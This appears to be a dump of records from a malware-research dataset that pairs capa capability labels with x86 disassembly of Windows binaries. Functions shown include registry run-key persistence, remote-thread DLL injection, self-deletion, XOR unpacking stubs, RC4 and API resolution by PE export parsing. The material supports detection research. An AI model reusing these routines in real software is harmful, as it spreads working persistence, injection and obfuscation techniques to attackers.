joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000151d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa8
xor eax, eax
lea ecx, [esp + 0x88]
lea edx, [esp + 0x78]
mov dword [esp + 0x70], ecx
mov dword [esp + 0x6c], edx
mov dword [esp + 0x68], eax
jmp 0x100015a7
xor eax, eax
mov dword [esp + 0x84], 0x477
mov ecx, esp
lea edx, [esp + 0x84]
mov dword [ecx], edx
mov ecx, dword [sym.imp.KERNEL32.dll_GetNumaHighestNodeNumber]
mov dword [esp + 0x64], eax
call ecx
sub esp, 4
xor ecx, ecx
mov edx, dword [esp + 0x60]
sub edx, 0xf
mov dword [esp + 0x5c], eax
mov dword [esp + 0x58], ecx
mov dword [esp + 0x54], edx
je 0x10001633
jmp 0x10001589
mov eax, dword [esp + 0x60]
sub eax, 0x4b
mov ecx, dword [esp + 0x58]
mov dword [esp + 0x50], eax
mov dword [esp + 0x4c], ecx
je 0x10001633
jmp 0x1000169f
mov eax, dword [esp + 0x68]
mov ecx, esp
mov dword [ecx], 0xa3a
mov ecx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x60], eax
call ecx
sub esp, 4
xor eax, eax
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x48]
mov ecx, 0x4ec4ec4f
mov dword [esp + 0x44], eax
mul ecx
shr edx, 2
imul eax, edx, 0xd
mov ecx, dword [esp + 0x44]
sub ecx, eax
mov dword [esp + 0x40], ecx
je 0x100015fa
jmp 0x100015eb
mov eax, dword [esp + 0x40]
sub eax, 0xb
mov dword [esp + 0x3c], eax
jne 0x10001619
jmp 0x100015fa
mov eax, dword [esp + 0x6c]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov esi, esp
mov dword [esi + 4], edx
mov dword [esi], ecx
mov ecx, dword [sym.imp.USER32.dll_WindowFromPoint]
call ecx
sub esp, 8
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x44]
add eax, 1
cmp eax, 0x1d9
mov dword [esp + 0x48], eax
je 0x10001545
jmp 0x100015c8
mov dword [esp + 0x74], 0x42c
mov eax, esp
lea ecx, [esp + 0x74]
mov dword [eax + 4], ecx
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
call eax
sub esp, 8
xor ecx, ecx
mov edx, 0x1c
mov esi, dword [esp + 0x70]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1c
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], ecx
mov dword [esp + 0x2c], edx
call fcn.102bba10
mov eax, esp
lea ecx, [esp + 0x88]
mov dword [eax + 4], ecx
mov dword [eax], 0x873412
call sub.KERNEL32.dll_Thread32Next
sub esp, 8
mov dword [esp + 0x28], eax
jmp 0x100016fb
mov eax, dword [esp + 0x4c]
mov ecx, esp
mov dword [ecx], 0x26
mov ecx, dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov dword [esp + 0x24], eax
call ecx
sub esp, 4
mov ecx, dword [esp + 0x24]
add ecx, 1
mov edx, esp
mov dword [edx + 4], 0xef2
mov dword [edx], 0x8b5072
mov edx, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov word [esp + 0x22], ax
mov dword [esp + 0x1c], ecx
call edx
sub esp, 8
mov ecx, dword [esp + 0x1c]
cmp ecx, 0xa
mov dword [esp + 0x18], eax
mov dword [esp + 0x4c], ecx
jne 0x1000169f
mov eax, dword [esp + 0x60]
add eax, 1
mov ecx, dword [sym.imp.USER32.dll_DestroyCaret]
mov dword [esp + 0x14], eax
call ecx
mov ecx, dword [esp + 0x14]
cmp ecx, 0x105
mov dword [esp + 0x10], eax
mov dword [esp + 0x68], ecx
jne 0x100015a7
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x102bbe1c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x102e5b10]
jne 0x102bbe26
repz ret
jmp fcn.102bc0cd

Function at 0x102bc9eb
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x102e5af0]
add esi, 0x647
mov dword [0x102e5aec], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
jmp 0x102bcb06
lea eax, [ebp - 0x24]
mov dword [0x102e5aec], 0x16fa
mov dword [0x102e5af0], 0xec7
mov dword [ebp - 0x34], eax
call fcn.102bc85d
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.102bc3bc
mov dword [0x102e5aec], 0x632
cmp eax, 0
mov dword [ebp - 0x38], eax
je 0x102bcb36
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x102e5aec]
add ecx, 0xffffe677
mov dword [0x102e5aec], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.102bce95
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x40], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x48], ecx
mov dword [0x102e5aec], 0x828
add ecx, 0x1f74
mov esi, dword [ebp - 0x3c]
cmp esi, 0
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
je 0x102bcafd
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x50
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x30]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x102be692]
mov dh, byte [eax + 0x102be663]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x30], ecx
je 0x102bca1a
jmp 0x102bcb06
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x102bcb53
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov dword [ebp - 0x10], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 0x10], eax
xor ecx, ecx
mov edx, dword [0x102e5aec]
add edx, 0xffffda67
mov dword [0x102e5af0], edx
mov edx, dword [ebp - 0x10]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x102e5aec], 0x2653
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], ecx
jmp 0x102bcbc3
xor eax, eax
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [0x102e5aec], 0x59b
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x102bcbf2
jmp 0x102bcb9e
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], edx
je 0x102bcc0d
mov eax, dword [ebp - 0x24]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x28], eax
jl 0x102bcbc3
jmp 0x102bcc0d
mov dword [0x102e5aec], 0x15f7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x102bcc6c
jmp 0x102bcb9e
mov eax, dword [ebp - 0x28]
mov dword [0x102e5af0], 0x2ce7
mov dword [0x102e5aec], 0x711
mov ecx, dword [ebp - 0x18]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
jne 0x102bcb9e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x102bcb9e
mov dword [0x102e5aec], 0x1a80
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x102bcba8
jmp 0x102bcb9e
mov dword [0x102e5af0], 0xfffff470
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x102bcb9e
mov eax, 0x198e
mov ecx, 0x1f4c
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x20]
mov di, word [edx + esi*2 - 0xe]
cmp di, 0x6c
sete bl
cmp di, 0x6c
mov byte [ebp - 0x29], bl
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], eax
je 0x102bccbc
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [0x102e5aec], eax
mov cl, byte [ebp - 0x29]
and cl, 1
movzx eax, cl
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x102bccd5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [0x102e5aec], 0x77
mov dword [ebp - 0x10], eax
call fcn.102bd639
xor ecx, ecx
mov edx, eax
mov dword [0x102e5af0], 0x265c
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x102bcd25
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov dword [0x102e5aec], 0x16b1
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
je 0x102bce37
jmp 0x102bcd6d
mov al, byte [ebp - 0x31]
test al, 1
jne 0x102bce1e
jmp 0x102bcd81
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
jmp 0x102bcda9
xor eax, eax
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov edx, dword [ebp - 0x44]
add edx, 2
mov esi, dword [ebp - 0x2c]
cmp ecx, esi
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x30], eax
jae 0x102bce37
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
mov ecx, eax
mov edx, dword [ebp - 0x48]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x50], eax
mov byte [ebp - 0x51], bh
mov byte [ebp - 0x31], cl
je 0x102bcd60
mov al, byte [ebp - 0x51]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x50]
add edx, 1
mov ah, byte [ebp - 0x31]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x4c], edx
jne 0x102bcdc3
jmp 0x102bcd60
mov eax, dword [ebp - 0x44]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x30], edi
mov eax, dword [ebp - 0x30]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x102bd40c
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x102e5af0], 0x102f
mov dword [0x102e5af8], 0
mov byte [0x102e5afc], 0
mov dword [0x102e5aec], 0x194
mov dword [0x102e5af4], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x102e5aec], 0x540
mov eax, dword [0x102e5af4]
add eax, 1
mov dword [0x102e5af4], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x102bd45b
mov eax, 0x225b
xor ecx, ecx
mov dword [0x102e5af0], 0x225b
mov dword [0x102e5af4], 0
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov edx, 0x100
mov dword [0x102e5b00], 0
mov dword [ebp - 0x28], eax
xor esi, esi
mov dword [ebp - 0x2c], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov edi, ecx
add edi, 0xffffeb81
add ecx, 0x8b2
mov dword [0x102e5af0], edi
mov edi, dword [0x102e5af8]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x28]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x102e5b00], esi
mov eax, esi
cdq
mov esi, dword [ebp - 0x2c]
idiv esi
mov dword [0x102e5af8], edx
mov dword [0x102e5aec], ecx
mov ecx, dword [ebp - 0x28]
mov cl, byte [ebx + ecx]
mov byte [0x102e5afc], cl
mov dword [0x102e5af0], 0xf5e
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x28]
mov byte [ebx + edx], cl
mov ecx, dword [0x102e5aec]
add ecx, 0xffffe36b
mov dword [0x102e5aec], ecx
mov cl, byte [0x102e5afc]
mov edx, dword [0x102e5af8]
mov byte [ebx + edx], cl
mov edx, dword [0x102e5af4]
add edx, 1
mov dword [0x102e5af4], edx
cmp edx, 0x100
mov dword [ebp - 0x30], edx
jge 0x102bd589
mov eax, dword [0x102e5af0]
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
jmp 0x102bd4ac
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x102bd7ba
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, 0x2d17
xor ebx, ebx
mov dword [ebp - 0x10], eax
mov eax, 0xb8c
mov dword [0x102e5af4], 0
mov dword [0x102e5af8], 0
mov dword [0x102e5b04], 0
mov dword [ebp - 0x14], eax
mov eax, dword [0x102e5aec]
add eax, 0xffffdbca
mov dword [0x102e5af0], eax
mov dword [0x102e5aec], 0xb8c
mov eax, dword [ebp - 0x10]
cmp eax, 0
mov eax, ebx
mov dword [ebp - 0x18], eax
mov eax, ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ebx
jne 0x102bd851
mov eax, dword [ebp - 0x20]
mov dword [0x102e5af0], eax
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x18]
mov edi, 0x100
add eax, 0xffffe6cf
mov ebx, esi
add ebx, 1
add edx, 1
mov dword [ebp - 0x38], eax
mov eax, edx
cdq
idiv edi
mov dword [0x102e5af4], edx
mov dword [0x102e5af0], 0x2089
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x2c]
movzx ecx, byte [ecx + edx]
mov dword [ebp - 0x40], edx
mov edx, dword [ebp - 0x3c]
add ecx, edx
mov eax, ecx
cdq
idiv edi
mov dword [0x102e5af8], edx
mov ecx, dword [ebp - 0x38]
mov dword [0x102e5af0], ecx
mov ecx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x40]
mov cl, byte [ecx + edi]
mov byte [0x102e5afc], cl
mov dword [0x102e5aec], 0x136f
mov ecx, dword [ebp - 0x2c]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x2c]
mov byte [edx + edi], cl
mov dword [0x102e5af0], 0xf56
mov cl, byte [0x102e5afc]
mov edx, dword [0x102e5af8]
mov edi, dword [ebp - 0x2c]
mov byte [edi + edx], cl
mov dword [0x102e5aec], 0x2311
mov edx, dword [0x102e5af4]
movzx edx, byte [edi + edx]
mov ecx, dword [0x102e5af8]
movzx ecx, byte [edi + ecx]
add ecx, edx
mov dword [0x102e5af0], 0xa5a
and ecx, 0xff
mov dword [0x102e5b04], ecx
mov cl, byte [edi + ecx]
mov edx, dword [ebp - 0x24]
mov ch, byte [edx + esi]
mov dword [0x102e5aec], 0x6f8
xor ch, cl
mov edx, dword [ebp - 0x28]
mov byte [edx + esi], ch
mov esi, dword [ebp - 0x10]
cmp ebx, esi
mov dword [ebp - 0x44], ebx
je 0x102bd974
mov eax, dword [0x102e5aec]
mov ecx, dword [0x102e5af4]
mov edx, dword [0x102e5af8]
mov esi, dword [ebp - 0x44]
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x30], eax
jmp 0x102bd851
mov eax, dword [0x102e5aec]
add eax, 0x218b
mov dword [ebp - 0x20], eax
jmp 0x102bd841
Function at 0x102bd986
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x80]
lea ecx, [esp + 0x20]
mov dword [0x102e5aec], 0x1c0e
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.102bcfa4
lea ecx, [0x102bd2ca]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x6c], edx
mov dword [esp + 0x30], 0x132600
mov edx, dword [0x102e5ad8]
mov dword [esp + 0x64], edx
mov edx, dword [0x102e5adc]
mov dword [esp + 0x28], edx
mov edx, dword [0x102e5ae0]
mov dword [esp + 0x74], edx
mov edx, dword [0x102e5ae4]
mov dword [esp + 0x5c], edx
mov edx, dword [0x102e5ae8]
mov dword [esp + 0x70], edx
mov dword [0x102e5aec], 0x1fcb
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x102bda1a
mov eax, dword [esp + 0x10]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0xc], eax
jne 0x102bda3d
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 8], ecx
je 0x102bda51
mov eax, dword [esp + 0xc]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x102bda1a
mov eax, dword [esp + 0xc]
mov dword [esp + 0x4c], eax
mov dword [0x102e5aec], 0xe25
mov dword [0x102e5af0], 0x265c
mov ecx, dword [esp + 8]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x2c], edx
call fcn.102bcb53
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
jne 0x102bda12
lea eax, [esp + 0x20]
mov dword [0x102e5aec], 0x1c67
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.102bc9eb
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x102e5aec], 0x1592
mov dword [esp + 0x10], eax
jmp 0x102bda12

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x8de228
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8de22e
pop ebp
sub ebp, 6
sub ebp, 0x4de228
jmp 0x8de28c
jmp 0x8de295
mov eax, 0x4de228
add eax, ebp
add eax, 0x93
mov ecx, 0x631
mov edx, 0x708018e8
xor byte [eax], dl
inc eax
dec ecx
jne 0x8de2ac
jmp 0x8de2bf
sub byte [eax - 0x17071780], 0xe8
sub al, 0x24
invalid
Function at 0x6bec12f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x30]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
movzx eax, word [ebp - 0x30]
movzx eax, ax
cmp eax, 6
je 0x6bec134a
cmp eax, 6
jg 0x6bec132a
test eax, eax
je 0x6bec1353
cmp eax, 5
je 0x6bec1341
jmp 0x6bec1364
cmp eax, 9
je 0x6bec1338
cmp eax, 0xffff
je 0x6bec135c
jmp 0x6bec1364
mov dword [ebp - 0xc], 0
jmp 0x6bec1364
mov dword [ebp - 0xc], 0
jmp 0x6bec1364
mov dword [ebp - 0xc], 0
jmp 0x6bec1364
mov dword [ebp - 0xc], 1
jmp 0x6bec1364
mov dword [ebp - 0xc], 0
nop
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x6bec1369
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegCreateKeyExA_36
sub esp, 0x24
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x11c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret
Function at 0x6bec14c2
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6bec183c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x6bec1bd0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6bec603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6bec6034]
sub esp, 4
test ebx, ebx
je 0x6bec1c1b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6bec1c14
test esi, esi
je 0x6bec1c14
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6bec1bf0
mov dword [esp], 0x6bec603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x6bec1e00
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6bec41d4
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6bec1e50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6bec1f28
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6bec1e8e
cmp eax, 4
jne 0x6bec1eb0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6bec1e9e
cmp edx, 4
je 0x6bec1e9e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
